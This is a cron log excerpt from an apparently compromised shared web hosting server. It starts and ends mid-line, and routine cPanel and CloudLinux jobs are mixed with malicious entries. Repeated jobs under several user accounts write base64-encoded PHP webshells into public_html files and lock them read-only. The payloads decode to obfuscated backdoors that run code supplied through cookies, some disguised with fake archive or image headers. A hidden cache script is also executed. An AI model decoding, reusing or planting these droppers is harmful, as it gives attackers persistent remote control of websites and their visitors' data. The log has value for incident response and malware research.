sICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:49:01 medusa CROND[10402]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:49:01 medusa CROND[10400]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:49:01 medusa CROND[10405]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:49:01 medusa CROND[10406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12077]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:50:01 medusa CROND[12086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12087]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:50:01 medusa CROND[12089]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:50:01 medusa CROND[12090]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12091]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 09:50:01 medusa CROND[12088]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:50:01 medusa CROND[12092]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 09:50:01 medusa CROND[12094]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:50:01 medusa CROND[12096]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:50:01 medusa CROND[12097]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:50:01 medusa CROND[12103]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12109]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12112]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:50:01 medusa CROND[12113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12105]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:50:01 medusa CROND[12122]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:50:01 medusa CROND[12121]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 09:50:01 medusa CROND[12124]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:50:01 medusa CROND[12126]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12128]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:50:01 medusa CROND[12129]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:50:01 medusa CROND[12131]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:50:01 medusa CROND[12137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:50:01 medusa CROND[12139]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 09:50:01 medusa CROND[12135]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:50:01 medusa CROND[12136]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:50:01 medusa CROND[12108]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:51:01 medusa CROND[14120]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:51:01 medusa CROND[14126]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:51:01 medusa CROND[14127]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:51:01 medusa CROND[14128]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:51:01 medusa CROND[14129]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:51:01 medusa CROND[14130]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 